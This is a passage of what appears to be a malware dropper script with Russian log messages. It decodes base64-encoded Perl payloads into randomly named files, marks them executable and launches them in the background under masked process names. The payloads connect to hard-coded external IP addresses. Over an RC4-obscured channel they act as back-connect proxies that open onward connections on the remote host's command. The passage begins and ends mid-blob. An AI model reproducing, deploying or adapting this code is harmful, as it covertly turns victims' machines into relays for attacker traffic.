bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xOTEnOwpteSAkcG9ydCA9IDQ0MzE7CgpteSAkeG9yZGF0YSA9ICJceDAw IiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgc3Vic3RyKCR4b3JkYXRh LCAkaSwgMSkgPSBwYWNrKCdDJywgcmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkg bXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkg bXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAk cG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9 IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkg JHBvY2tlbW9uNSA9IDA7CgkKCSBteSAkcG9ja2Vtb242ID0gMDsKCQoJIG15ICRwb2NrZW1vbjcg PSAwOwoJCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgkgCgkgbXkgJHJjeCA9ICRzejsKCSAKCSBteSAk cnNpID0gMDsKCSAKCSBteSAkcmJ4ID0gMDsKCSAKCSBteSAkZ3MgPSAwOwoJIAoJIG15ICR0ID0g MDsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPD0gMjU1OyAkaSsrKSB7IHN1YnN0cigkcmM0LCAk aSwgMSkgPSBwYWNrKCdDJywgJGkpOyB9CgkgCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZm MCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngs IDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkg aWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGls ZSgkcmN4ID4gMCk7CgkKCQoJIHdoaWxlKDEpIHsKCQkgCgkJIGlmICgkZ3MgPT0gMCkgewoJCQkg CgkJCSAkcG9ja2Vtb24yID0gMDsKCgkJCSAkcG9ja2Vtb24zID0gJGxlbmd0aDsKCQl9CgkJIAoJ CSBpZiAoJGdzICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMDsKCgkJCSAkcG9ja2Vtb24yKys7CgoJ CQkgaWYgKC0tJHBvY2tlbW9uMyA9PSAwKSB7IG5leHQ7IH0KCQkJIAoJCX0KCQkKCQkgJHBvY2tl bW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSk7CgkJIAoJCSAk dCA9IHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSk7CgoJCSAkcG9j a2Vtb24xICs9ICR0OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9j a2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsK CgkJICRwb2NrZW1vbjYgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkp OwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpID0gcGFjaygnQycsICRwb2NrZW1v bjYpOwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2Nr ZW1vbjcpOwoJCSAKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAg JiAyNTU7CgkJIAoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJ CSAKCQkJIG5leHQ7CgkJfQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9 IDA7CgoJCSAkcG9ja2Vtb24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9u MyA9IDA7CgkJIAoJCSB3aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9j a2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdW5wYWNrKCdDJywg c3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9j a2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1v bjggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkpOwoKCQkJIHN1YnN0 cigkcmM0LCAkcG9ja2Vtb24yLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb244KTsKCQkgCgkJCSBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNyk7CgoJCQkg JHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAm IDI1NTsKCgkJCSAkcG9ja2Vtb24wID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1v bjgsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uNSA9IHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcG9ja2Vtb24zLCAxKSk7CgoJCQkgJHBvY2tlbW9uNSA9ICRwb2NrZW1vbjUg XiAkcG9ja2Vtb24wOwoJCQkgCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9u MywgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNSk7CgkJCSAKCQkJICRwb2NrZW1vbjMrKzsKCQkJ IAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgkJCSAK CQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAkcmN4ID0gJHN6OwoJCgkgJHJi eCA9IDA7CgkKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkg PSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAx KSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwgMSkpKSk7CgkJIAoJCSAkcnNp Kys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3Ro KSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9Cgpz dWIgc3luc2VuZCB7CgkJCgkgbXkgJGNTb2NrZXQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmZl ciA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkZmxhZ3MJPSBzaGlmdChAXyk7CgoJIG9wZW4obXkgJGZo LCAiPCIsICcvZGV2L251bGwnKTsKCgkgZmxvY2soJGZoLCBMT0NLX0VYKTsKCSAKCSAjID09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgkgCgkgc2VuZCgkY1Nv Y2tldCwgJGJ1ZmZlciwgJGZsYWdzKTsKCSAKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CgkgCgkgZmxvY2soJGZoLCBMT0NLX1VOKTsKCgkgY2xvc2Uo JGZoKTsKfQoKc3ViIG5ld0Nvbm5lY3Rpb24gewoJCglteSAkbnVtID0gc2hpZnQoQF8pOwoJCglt eSAkc29ja2V0YXJyYXkgPSBzaGlmdChAXyk7CgkKCW15ICRzU29ja2V0ID0gc2hpZnQoQF8pOwoJ CglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCQoJbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJCiAg ICB0aHJlYWRzLT5jcmVhdGUoIHN1YiB7CgkJCgkJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRu dW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJ CQoJCW15ICRkb21haW4gPSAnJzsKCQkKCQlteSAkcG9ydCA9IDA7CgkJCgkJbXkgJF9yZXQgPSAw OwoJCQoJCW15ICRkYXRhID0gJyc7CgkJCgkJbXkgJGJ1ZmZlciA9ICcnOwoJCQoJCXNldHNvY2tv cHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkJCgkJZmNudGwoJGNT b2NrZXQsIEZfU0VURkwsIE9fTk9OQkxPQ0spOwoJCQoJCWlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmYwLCA3LCAxKSkgPT0gMykgewoJCQkKCQkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDks IHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEpKSk7CgkJCQoJCQkkcG9ydCA9IHVucGFj aygnUycsIHN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4LCAx KSkgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYwLCA5ICsgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwg OCwgMSkpICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQu JWQiLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMCwgMSkpLCB1bnBhY2soJ0MnLCBz dWJzdHIoJGJ1ZmYwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsg MiwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4ICsgMywgMSkpKTsKCQkJCgkJCSRw b3J0ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmYw LCAxMiArIDAsIDEpKTsKCQkJCgkJfQoJCQoJCWVsc2UgewoJCQkKCQkJIGdvdG8gY2xvc2VfOwoJ CX0KCQkKCQkgZXZhbCB7CgkJCSAKCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBp bmV0X2F0b24oJGRvbWFpbikpOwoJCQoJCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkg CgkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJGNTb2NrZXQpLCAxKSA9IDE7CgoJCQkgdW5s ZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCQkg CgkJCSBmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgMCk7CgkJIAoJCQkgc3Vic3RyKCRyZXNwb25j ZSwgNCwgMSkgPSAiXHgwMCI7CgkJIAoJCQkgJF9yZXQgPSAxOwoJCQkgCgkJIH07CgkJIAoJCSBj bG9zZV86CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7 CgkJIAoJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAK CQkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCSAKCQkgUmM0 X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkgaWYgKCRfcmV0 ID09IDEpIHsKCQkJIAoJCQkgd2hpbGUgKCQkc29ja2V0YXJyYXlbJG51bV0gPT0gMSkgewoJCQkJ IAoJCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJCSAK CQkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCQkJ CSAKCQkJCSAkZGF0YSA9ICcnOwoKCQkJCSByZWN2KCRjU29ja2V0LCAkZGF0YSwgNjU1MzAsIDAp OwoJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRidWZmZXIgPSBw YWNrKCdDJywgJG51bSkucGFjaygnUycsIGxlbmd0aCgkZGF0YSkpLiRkYXRhOwoJCQkJIAoJCQkJ IFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMCwgMyk7CgkJIAoJCQkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJ CQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlciwgTVNHX05PU0lHTkFMKTsKCQkJCSAKCQkJfQoJ CX0KCQkKCQkgJCRzb2NrZXRhcnJheVskbnVtXSA9IDA7CgkJIAoJCSBjbG9zZSgkY1NvY2tldCk7 CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBzeW5zZW5kKCRz U29ja2V0LCBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSwgTVNHX05PU0lHTkFMKTsKCQkKICAgICAg ICAgdGhyZWFkcy0+ZGV0YWNoKCk7CiAgICB9KTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0 ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5p bmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJ IG15IEBzb2NrZXRhcnJheSA6c2hhcmVkOwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7 CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gJyc7 CgkgCgkgbXkgJGlzRXhpdCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7 CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7 CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNP Q0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tl dGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBz b2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVj dCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRi dWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAi XHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsK CSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2Vu ZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsK CQkgCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycs IGZpbGVubygkc29ja2V0YXJyWzBdKSwgMSkgPSAxOwoJCQkgCgkJCSBteSAkcmV0ID0gc2VsZWN0 KCRyaW4sIHVuZGVmLCB1bmRlZiwgNjApOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJ CSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZl cm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVt YWluaW5nICE9IDApOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJ IAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJ IAoJCQkJIHN5bnNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7 CgkJCQkgCgkJCQkgbmV4dDsKCQkJfQoJCQkgCgkJfQoJCSAKCQkgaWYgKCRyZW1haW5pbmcgIT0g MCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7CgkJCSAKCQkJIGlmICgkZWR4ID09IDApIHsKCQkJCSAK CQkJCSBpZiAoc3Vic3RyKCRidWZmZXIwLCAwLCAxKSBlcSAiXHhGRiIgJiYgc3Vic3RyKCRidWZm ZXIwLCAxLCAxKSBlcSAiXHhGRSIpIHsKCQkJCQkgCgkJCQkJICRpc0V4aXQgPSAxOwoJCQkJCSAK CQkJCQkgbGFzdDsKCQkJCQkgCgkJCQl9CgkJCQkgCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYg JGVieCA+IDApIHsKCQkJCSAKCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMDsKCQkJCSAKCQkJ CX0KCQkJCgkJCX0KCQkJCgkJCWVsc2UgewoJCQkJCgkJCQkgJGVjeCA9ICRlZHg7CgkJCQkKCQkJ CSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgkJCQkgCgkJCQkgJGRhdGEgPSAnJzsKCQkJCSAK CQkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRhLCAkZWN4LCAwKTsKCQkJCQoJCQkJIHVubGVz cyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gbGVuZ3RoKCRkYXRh KTsKCQkJCSAKCQkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJCSAKCQkJCSBpZiAoJGVkeCA9PSAk cmVtYWluaW5nKSB7CgkJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZm ZXIwLCA0LCAkcmVtYWluaW5nKTsKCQkJCQkgCgkJCQkJIGlmICh1bnBhY2soJ0MnLCBzdWJzdHIo JGJ1ZmZlcjAsIDAsIDEpKSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJy WyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJ CQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgbmV3Q29u bmVjdGlvbigkZWJ4LCBcQHNvY2tldGFycmF5LCAkc29ja2V0YXJyWzBdLCAkc29ja2V0YXJyWyRl YnhdLCAkYnVmZmVyMCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJCgkJCQkJIGVsc2UgewoJCQkJCQkg CgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbJGVieF0sIHN1YnN0cigkYnVmZmVyMCwgNCwgJHJlbWFp bmluZyksIE1TR19OT1NJR05BTCk7CgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWlu aW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJ CX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9 ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5n NDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0 YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAk cmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsK CQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSBpZiAoJHJlbWFpbmlu ZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAs IDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDEs IDEpKTsKCQkJCSAKCQkJCSAkZWR4ID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmZXIwLCAyLCAy KSk7CgkJCSAKCQkJCSAkX3JldCA9IDE7CgkJCX0KCQkJCgkJfQoJfQoJCgkgY2xvc2UwOgoJIAoJ IGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkr KykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNF eGl0ID09IDEpIHsgZXhpdDsgfQoJIAoJIHJldHVybiAkX3JldDsKCn0KCmJjY25jdChcJGhvc3Qs IFwkcG9ydCk7Cg== BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #65 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #65 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 66 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ 